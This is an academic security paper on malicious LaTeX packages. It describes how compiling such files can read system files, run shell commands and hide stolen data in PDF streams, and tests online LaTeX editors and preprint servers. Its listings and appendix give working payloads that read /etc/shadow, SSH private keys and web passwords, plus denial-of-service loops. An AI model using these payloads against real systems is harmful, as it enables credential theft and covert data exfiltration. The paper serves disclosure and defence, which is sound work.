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Can You Accept LaTeX Files from Strangers? Ten Years Later

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Abstract. It is well-known that Microsoft Word/Excel compatible documents or PDF files can contain malicious content. $L^{A}T_{E}X$ files are unfortunately no exception either. $L^{A}T_{E}X$ users often include thirdparty codes through sources or packages (.sty or .cls files). But those packages can execute malicious commands on the users' system, in order to capture sensitive information or to perform denial of service attacks. Checkoway et al. [3] were the first to warn $L^{A}T_{E}X$ users of these threats. Collaborative cloudbased $L^{A}T_{E}X$ editors and services compiling $L^{A}T_{E}X$ sources are particularly concerned. In this paper, we have created a $L^{A}T_{E}X$ package that collects system data and hides them inside the PDF file produced by the target. Then, we have measured what can be recovered by hackers using malicious $L^{A}T_{E}X$ file on online services, and which measures those services have enforced to thwart the threats. Services defend themselves using sandbox or commands restrictions. Commands restrictions are more difficult to setup and we found one service (PMLatex) which is too permissive.

Keywords: LATEX, online editors · malicious packages.

1 Introduction

Most computer users are aware that it is not safe to download Microsoft Office [10] or PDF files [13] from unknown sources on the Internet or in any other potentially insecure locations. Indeed, those files may contain malicious macros, pieces of code that can harm the user's system. This kind of documents needs to be opened with caution, for instance in a sandbox. The users are mostly aware of these necessary precautions, although they do not necessarily apply them.

In the computer science research community, LATEX is the go-to typesetting system for writing scientific papers. It works as follows: the user writes their document in plain text, formats it with the use of LATEX's macros (or commands), and compiles it using one of the available compilers to produce the final PDF document. Most users⁵ assume that LATEX files cannot be malicious, and that it is safe to get LATEX files from unknown sources. As a result, they do not take any precautions when using third-party templates.

Yet, it has been established in 2010 that LATEX is easily exploitable to perform malicious tasks [3,9]. In particular, Checkoway *et al.* showed that LATEX files present a threat to system security and data privacy. They described how to exploit LATEX to perform denial of service attacks, or to exfiltrate sensitive information on Web-based LATEX previewer services.

Since 2010, the IATEX ecosystem has significantly evolved, many services tested in their work have been discontinued, and new ones have appeared, seeing the rise of collaborative IATEX editors such as Overleaf. However, no other work has been published on the potential threats. Specifically, these editors can be targeted by malicious IATEX files; and their online templates libraries⁶ could be used to distribute malicious IATEX files to many users.

This is why we have replicated and extended Checkoway *et al.*'s work. We have created our own malicious IAT_FX files to test five online IAT_FX editors, and two pre-print services that compile IAT_FX files (https:

⁵ http://web.mit.edu/klund/www/urk/texvword.html, accessed on 14 January 2021.

⁶ https://www.overleaf.com/latex/templates

//arxiv.org and https://hal.archives-ouvertes.fr/?lang=en). We have observed that two strategies (already suggested by [3]) have been adopted to prevent malicious use of LATEX files: LATEX command restrictions, or compilation of the sources in a sandbox. Our results show that command restrictions are not sufficiently protective: on services using only this strategy, we were still able to obtain sensitive information on the system used to compile the LATEX sources: hardware, software (allowing to detect when outdated software is still used, and then exploit their vulnerabilities), or network interfaces (including IP addresses or server configurations). We therefore recommend that these services should systematically compile LATEX code inside a sandbox to ensure their users' protection from such attacks.

This paper is organized as follows. Section 1 discusses a couple of previous works about malicious IATEX files in relation to our own proposition. Section 3 details how we crafted out malicious files, which features we exploited, and how we hid the stolen information in the resulting PDF file. Section 4 presents our findings after testing our malicious file on various online IATEX previewers. Finally, Section 5 concludes the paper.

2 Related Work

Even though ETEX and TEX have been around since 1983 and 1978 respectively, there has not been much done for the security of these two typesetting systems, in comparison to Microsoft Office world [10] and Portable Document Format files [5]. The works of McMillan [9] and Checkoway *et al.* [3,4] describe respectively how to exploit ETEX to create a virus, an information extraction malware, or a denial of service attack. It is worth noticing that some of these attacks are dependent on a specific characteristic in the potential victim's machine, such as Emacs being installed. In addition, a few blog posts^{7,8,9} were posted to describe how one could hack and exploit ETEX code. These blogs showcase how to execute bash commands, read and open files, or bypass potential blacklists of some useful commands. We explain the main principles of these attacks below.

2.1 Information extraction

Checkoway *et al.* described in [3,4] a simple, yet efficient strategy for exfiltrating sensitive information from a computer using IAT_{EX} . It is done as follows:

- 1. Create a $T_E X$ file that uses the \input and \include macros to read files on the user's system and include their content;
- 2. Have the victim compile this T_EX file, that will include stolen data inside the generated PDF or postscript file;
- 3. Finally recover the stolen data once the PDF file is published or shared by the victim.

Checkoway *et al.* tested their malicious files on multiple preview services with a certain success [3]. They also included equation-only previewers that need to provide less functionalities than IATEX preview services. They observed that all IATEX preview services were vulnerable to nearly all package and file inclusion attacks. Equation previewers were more secure because they do not allow the main file input primitives, and the math mode restricts many operations, which defeats this data exfiltration strategy. But they were not fully safe still, since there exists many other macros for file input/output, as well as ways to work around blacklists or whitelists.

2.2 Denial of Service

Checkoway *et al.* also present two methods to perform denial of service attacks in LAT_{EX} files [3]. The first method, that has also been used against postscript files¹⁰, implements an infinite loop in the .tex file:

⁷ https://0day.work/hacking-with-latex/

⁸ http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

 $^{^9}$ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX\%20Injection

¹⁰ https://rosettacode.org/wiki/Loops/Infinite#PostScript

\loop\iftrue\repeat

The second method replicates the Billion laughs attack [14] by defining new macros recursively:

\def\macro{macro}

In both cases, the compiler is stuck indefinitely and therefore consumes all the available resources.

2.3 Virus

Another technique is possible on the users' local disk. Keith McMillan [9] presents a platform-independent virus that infects all .tex files in a directory. The virus is carried in an executable file or Latex template, and starts infection when the file is run or compiled. As a result, it hides itself in the "header" of all LAT_EX files in the directory, between the \documentstyleand \begin{document}macros. If the users do not pay attention to this section of their document, they will compile it without noticing the virus, and trigger its malicious behaviour.

2.4 Positioning of our work

In this paper, we focus on first goal: craft a IATEX file that can extract information when compiled. But contrarily to [3], we did not include the stolen data verbatim in the PDF file. This would be too easy to notice, but instead we tried to hide it to make it as undetectable as possible. This way, the users cannot even realise that information has been leaked. We have tested our malicious file on different online collaborative IATEX editors, in order to determine how well they are protected against that sort of attacks. Section 3 describes how we crafted our malicious file, and Section 4 discusses the results of our experiments with this file.

3 Building a malicious LAT_FX file

3.1 Malicious use of LATEX commands

 LAT_{EX} has become the most authoritative document preparation system among the Computer Science research community. Users tend to trust it without caution, thinking it is only a harmless typesetting system, so they download and compile LAT_EX files without checking their code. However, LAT_EX has more uses than simple document preparation: being based on T_EX, a Turing-complete programming language, LAT_EX can be programmed to compute anything. In particular, it is easy to read files, write to files, or execute code snippets, directly from LAT_EX files. There are multiple ways for an attacker to collect data about the user's system.

To read files without proper authorization and insert their content into the compiled PDF file, \input or \include commands can be applied (as shown in Listing 1.1).

Listing 1.1. Retrieving password for user's account

\input{/etc/shadow}

These commands might be restricted, in which case the files can be read line by line with \read instruction.

The attacker can also manipulate the LATEX file in such a way that the compiler will execute code beyond simply generating the PDF document. \immediate and \write18 are TeX primitive responsible for arbitrary code execution. \write18 will issue a command to the shell; the operating system will run the command and suspend LATEX's execution until it is finished. \write18 allows running commands that can provide further information about the targeted system. However, the --shell-escape argument must be activated when compiling to explicitly allow running external commands from the LATEX file. \immediate must also be used to ensure that the code will be executed as soon as LATEX encounters it. Listing 1.2 demonstrates how to use the \immediate and \write18 primitives.

Listing 1.2. Printing basic system information.

```
\immediate\write18{uname -a >> output.txt}
\input{output.txt}
```

Another possibility to breach the data confidentiality on a computer through LATEX is to rewrite configuration files and then use provided credentials to get private data from the device.

The same results can be achieved by using LuaTEX primitives instead. LuaTEX supports two programming languages: TEX- based language and Lua scripting language. In some situations, Lua simplifies the user experience. \directluacommand allows to add Lua code to a LATEX file; that code is passed to the LuaTEX interpreter. It offers more opportunities to the attacker.

Reading or writing data with a LATEX file gives an attacker access to all documents within the permissions of the user compiling this file. Compilation of LATEX files as root will grant elevated permissions, including undesired access to all documents on the system. LATEX files must never be compiled with the root privileges.

3.2 Examples of target data

Information gathering is of paramount importance for a hacker. Footprinting can greatly increase the probability of success of an attack. It can expose essential security information of the system, allowing attackers to identify vulnerabilities in the target. Most footprinting techniques are aimed at discovering information from the network (internet, intranet, remote access or extranet) or the user system.

System information includes group names and users, passwords, operating system used, system architecture, hardware configuration, outdated software, and known vulnerabilities. Listing 1.3 shows the retrieval of group names and users.

Listing 1.3. Getting user and group names

```
\immediate\write18{users >> output.txt}
\immediate\write18{groups >> output.txt}
\immediate\write18{cat /etc/passwd >> output.txt}
\immediate\write18{cat /etc/group >> output.txt}
```

Network information includes protocols used, routing tables, host names, open ports, etc. The commands in listing 1.4 display the current network configuration of the system.

Listing 1.4. Obtaining information about network interfaces including IP addresses

```
\immediate\write18{ifconfig >> output.txt}
\immediate\write18{cat /etc/network/interfaces >> output.txt}
```

An indicative list of commands used for information gathering is presented in Appendix A. This list should not be considered to be exhaustive.

3.3 Hiding data in PDF files

We now need to consider how to exfiltrate the gathered information without alarming the victim. The obvious solution is to insert it into the generated PDF file in a way that makes it hard to detect. The PDF file rendering should not be altered when it is viewed; the output should meet the user's expectations; and the file should open in common PDF viewers without errors.

There are many steganographic methods [2,12] for hiding information in PDF files [11], but all of them [7, 8, 15] require to already receive the PDF file as input, alongside the information to hide. However, in our case, we are limited by the fact that we need to perform all our operations (data collection and hiding) while the PDF file is still being compiled, so it is not possible to use these existing steganographic methods.

A first method one may think of is to simply add the output of the malicious commands as white text layered under other elements (text, images...). This is easily achieved using existing packages (such as Tikz) and does not rely on LuaT_EX scripts, which means that it works in any LAT_EX environment. But this method

can be detected simply by an accidental select-and-copy made by a user in a PDF viewer: this is too risky for the attacker.

Another method to hide data in PDF files is to include it directly in the file as PDF comments. The PDF standard [6] allows comments as any string of characters following the % character and terminated by an end-of-line. They do not appear in any way when viewing the file. Unfortunately, there is no way to add comments to the output PDF in LATEX. One can also hide information after the end-of-file token; most viewers have no trouble opening such files, except Acrobat Reader which considers them corrupted.

We choose to hide information into the output PDF as unindexed streams. Stream objects are a basic element in PDF files, describing text, images...which are drawn in pages. These objects can be compressed. Objects need to be indexed to be drawn at the correct location, but unindexed objects will not be drawn at all. This method is very convenient since they are supported by all PDF viewers. It is easy to implement, does not require Lua, and makes our stolen data very hard to detect thanks to its compression. On the other hand, recovering the data requires a bit more effort than with the other methods since we need to uncompress the stream. Note that it is possible to disable compression using the \pdfcompresslevel=0 and \pdfobjcompresslevel=0 commands. We use the \immediate\pdfobj LATEX command with a text file containing the information to hide as input, as illustrated in Listing 1.5. Note that our method does not work in DVI mode since this mode disables the use of the \pdfobj command.

Listing 1.5. LATEX command to insert an unindexed stream from a file

\immediate\pdfobj \file{input.txt}

Encryption can also be used to further hide the data, but there is no simple method to encrypt text in $E^{T}E^{X}$ files.

4 Testing Online Latex Services

4.1 Targets

URL
https://www.overleaf.com/
https://www.papeeria.com
https://www.authorea.com
https://cocalc.com/doc/latex-editor.html
https://plmlatex.math.cnrs.fr/
URL
https://hal.archives-ouvertes.fr/
https://arxiv.org/

 Table 1. Online services targeted and tested in this study.

Overleaf is nowadays very popular: they have more than six million users from academia and the scientific community according to their website. Papeeria and Authorea are less populare alternatives to Overleaf. PLMlatex is LATEX editor in French run by French National Centre for Scientific Research (CNRS). The editor is powered by ShareLATEX so its functionality is very close to Overleaf. CoCalc has more functionalities as it is an online workspace for calculations, research, collaboration and authoring documents.

Scientific documents repositories publish PDF files from their authors. They are pre-print servers or academic publishers. They either accept directly to publish the PDF files from the authors or they ask the authors to provide their LATEX sources and compile them to obtain a PDF file. In the latter case, they can be targeted by malicious LATEX files. We have tested two scientific document repositories (see Table 1). HAL (https://hal.archives-ouvertes.fr/) is an open archive where authors can submit documents from all academic fields. HAL was created jointly by the *Centre pour la communication scientifique directe* (CCSD), the *Institut des Sciences de l'Homme* and the University of Rennes 2, with the support of the CNRS. HAL accepts both PDF and LATEX sources from the authors. arXiv (https://arxiv.org/) is a free distribution service and an open-access archive managed by Cornell University.

To analyse the security level of these services, we tried to gain information about their servers. We uploaded IAT_EX malicious files. First, we attempted to compile it with Lua commands. If the service does not support it, the version without Lua code is used. The findings are presented in the rest of this section.

4.2 Observations

Our first observation was that all the services we tested are aware that malicious IAT_EX files exist: they have all implemented some measures to avoid their threats. They are also all based on Unix-like systems. Preliminary results are gathered in Table 2. We observed two defensive strategies: command restrictions vs sandbox. They are both suggested in [3,4].

Service	Comman	Sandbox		
	Shell-escape	File I/O	LuaT _E X	
Overleaf	X	X	×	Docker
Papeeria	X	X	X	Docker
CoCalc	X	X	X	Kubernetes
PLMlatex	1	X	X	×
Authorea	1	1	1	?
HAL	1	✓	1	?
arXiv	1	1	1	?

Table 2. Characteristics observed on the services. A check mark indicates that the service implements a restriction.

Command Restrictions is perhaps the most straightforward is to restrict the use of dangerous commands. It implies to change the compilation options of the LATEX environment. We observed it includes:

- disabling shell escape to prevent users from executing shell commands,
- or preventing file inputs and outputs,
- or not supporting LuaT_EX.

PLMlatex, Authorea, HAL and arXiv are using this strategy (Table 2). Unfortunately, this means that these services have reduced functionalities compared to other ones, and while this seems like a good approach, it would not work if new strategies are found using non-blacklisted commands. In 2010, this was the most

popular strategy used by online services according to Checkoway *et al.* [3]. Authorea, HAL and arXiv implements all the restrictions while **PLMlatex only relies on the restrictions of shell espace to defend itself.**

If restricting the user is compatible with the intended use of the service, one should note that not supporting LuaT_EX and disabling shell escape is not enough to prevent data collection. Indeed, regular IAT_EX commands already give a lot of power to the user, and LuaT_EX mostly provides the same functionalities, but with better quality of life for the attacker. Disabling shell escape does restrict what information the user can access, however the content of sensitive files that are readable is still vulnerable. In order to effectively prevent users from easily gathering information, one should therefore disable file inputs and outputs as well. This is why PLMlatex is vulnerable.

To illustrate the previous point, we were able without executing shell commands to read the content of senstive file like /etc/network/interfaces in the server of PLMlatex, which contained the IP address of the server hosting the service. Looking up this IP on www.shodan.io confirmed that the server in question is affiliated to the CNRS and revealed that it is located in Bordeaux and uses nginx. From this information, we were able to guess where the server configuration file was located and to read its content. In comparison, HAL, Authorea and arXiv block all inputs, outputs and shell escape, and we were unable to get any information on them (so they do not appear in Table 3).

Sandboxes allow services to support all functionalities of LATEX. It is more user-friendly but it requires more work from the administrators at the setup time of the service than commands restrictions. Overleaf, Papeeria and CoCalc all use this strategy. CoCalc even goes as far as providing a shell to its users. However, this also means that their security relies on a third party product like **Docker** or **Kubernetes**.

Since services relying on their sandbox do not restrict the user, it is possible to acquire some information on them, but most of it is of little use. For example, in Table 3 we can see that we were able to get some information on the system, the CPU, users and outdated software for Overleaf, Papeeria and CoCalc, but since they all make use of sandboxing this does not reveal anything about the underlying system. It is worth noting however that it is possible to identify what sandbox is used by reading the content /proc/self/cgroup. This can be useful if there exists an exploit allowing to escape it. On Overleaf, some basic Unix commands which are not useful for the service such as ifconfig are not present in the Docker container, perhaps as an additional security precaution. On the other hand, they do provide a python interpreter which can be used through \write18.

On a last note, it does not seem that any of the services we looked at attempt to prevent users from hiding information into the output file. Whenever we were prevented from doing so with one method, it was due to a security measure we already discussed. Only HAL prevented us from inserting unindexed streams by having their compiler set to DVI output mode, but this is probably not intended for this purpose.

Checkoway et al. [3] already noticed that dangerous commands not being blacklisted was a very common issue at the time. As a result, they recommended blacklisting all commands by default and whitelisting harmless ones instead. However, this can significantly affect the users experience since many packages may be broken by this strategy. Using a modern sandbox seems to be more attractive.

5 Conclusion

It is easy to include malicious commands in a style file and to distribute it widely in a template. These commands can then access sensitive data on the user's system, and we demonstrated that they can even be used to silently exfiltrate data via the PDF file created. Then, the attacker only needs to identify PDF files produced using their style file, once published or shared, in order to recover the stolen data hidden inside them.

All the online LATEX services examined in this paper implement some level of protection to avoid the threats of harmful LATEX files. They either compile LATEX files inside a sandbox or enforce commands restrictions. Although both approaches can be effective against dangerous LATEX commands, it can be difficult to

Service	User and group names	System	Hardwa	are	CPU	Passwords	Outdated software				
Overleaf	✓	1	X		1	X	✓				
Papeeria	✓ ✓	1	×		✓	X	✓				
PLMlatex	✓	1	X		X	X	X				
CoCalc	✓	1	×		1	X	✓				
Authorea	X	X	X		X	X	×				
Service	Known	Open ports	s and	Net	twork	Hostnames	Networking				
	vulnerabilities	running s	services in		terfaces		protocols				
Overleaf	X	X	X		X	X	X				
Papeeria	X	X			X	1	✓				
PLMlatex	X	×			1	1	1				
CoCalc	X	<i>✓</i>		×		1	✓				
Authorea	X	X			X	X	X				
Service	Firewall	Routing		Server configuration		Web	SSL certificates				
	configurations	tables	s c			passwords					
Overleaf	X	×		X		X	X				
Papeeria	X	×	X			X	X				
PLMlatex	×	X		√		X	X				
CoCalc	X	1		✓		1		✓ ×		X	X
Authorea	×	×		X		X	X				

Table 3. Information obtained by exploiting the file Input/Ouput.

implement the latter correctly. Indeed, it is hard to exhaustively list all commands that might prove dangerous when used maliciously. The collaborative IAT_EX editor PMLatex is a good example of this difficulty: we were able to retrieve confidential information on the server running the service, which was not restrictive enough. As a result, we recommend that these services should instead systematically use a sandbox to compile IATEX files. Indeed, it provides the strongest protection against such attacks, while still allowing the users to run any command they need.

So far, the malicious files designed in this paper only targeted Unix-like systems, as was the case with previous attempts [3, 4, 9]. Indeed, Unix is the most used operating system by IAT_EX previewing services and users. Yet, it would be interesting in future work to adapt our malicious files to test services on other operating systems, namely Microsoft Windows or Mac OS. Other interesting services to test in the future include scientific editors that compile article submissions.

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A The full list of malicious LATEX commands

System information:

- User and group names.

```
\immediate\write18{users >> output.txt}
\immediate\write18{groups >> output.txt}
\immediate\write18{cat /etc/passwd >> output.txt}
\immediate\write18{cat /etc/group >> output.txt}
```

 System information (the processor architecture, the system name and the version of the kernel running on the system).

\immediate\write18{uname -a >> output.txt}

- Hardware information.

\immediate\write18{lshw -short >> output.txt}

- CPU information.

\immediate\write18{lscpu >> output.txt}

- Passwords.

\immediate\write18{cat /etc/shadow >> output.txt}

- Outdated software.

\immediate\write18{apt list --upgradable >> output.txt}

- Known vulnerabilities.

Network information:

- Open ports and running services.

```
\immediate\write18{nmap localhost >> output.txt}
\immediate\write18{netstat -tulpn | grep LISTEN >> output.txt}
```

- Network interfaces with IP addresses.

```
\immediate\write18{ifconfig >> output.txt}
\immediate\write18{cat /etc/network/interfaces >> output.txt}
```

Hostnames.

\immediate\input{/etc/hosts}

- Networking protocols.

\immediate\write18{cat /etc/protocols >> output.txt}

- Firewall configurations.

\immediate\write18{iptables -S >> output.txt}

- Routing tables.

\immediate\write18{netstat -rn >> output.txt}

- Configurations of web servers.

\immediate\write18{cat /etc/ssh/sshd_config >> output.txt}
\immediate\write18{cat /etc/apache2/apache2.conf >> output.txt}

- Web passwords.

\immediate\write18{cat /etc/apache2/.htpasswd >> output.txt}

- SSL certificates.

\immediate\write18{cat /etc/ssh/*_key>> output.txt}

Hiding information:

```
\immediate\pdfobj file{output.txt}
```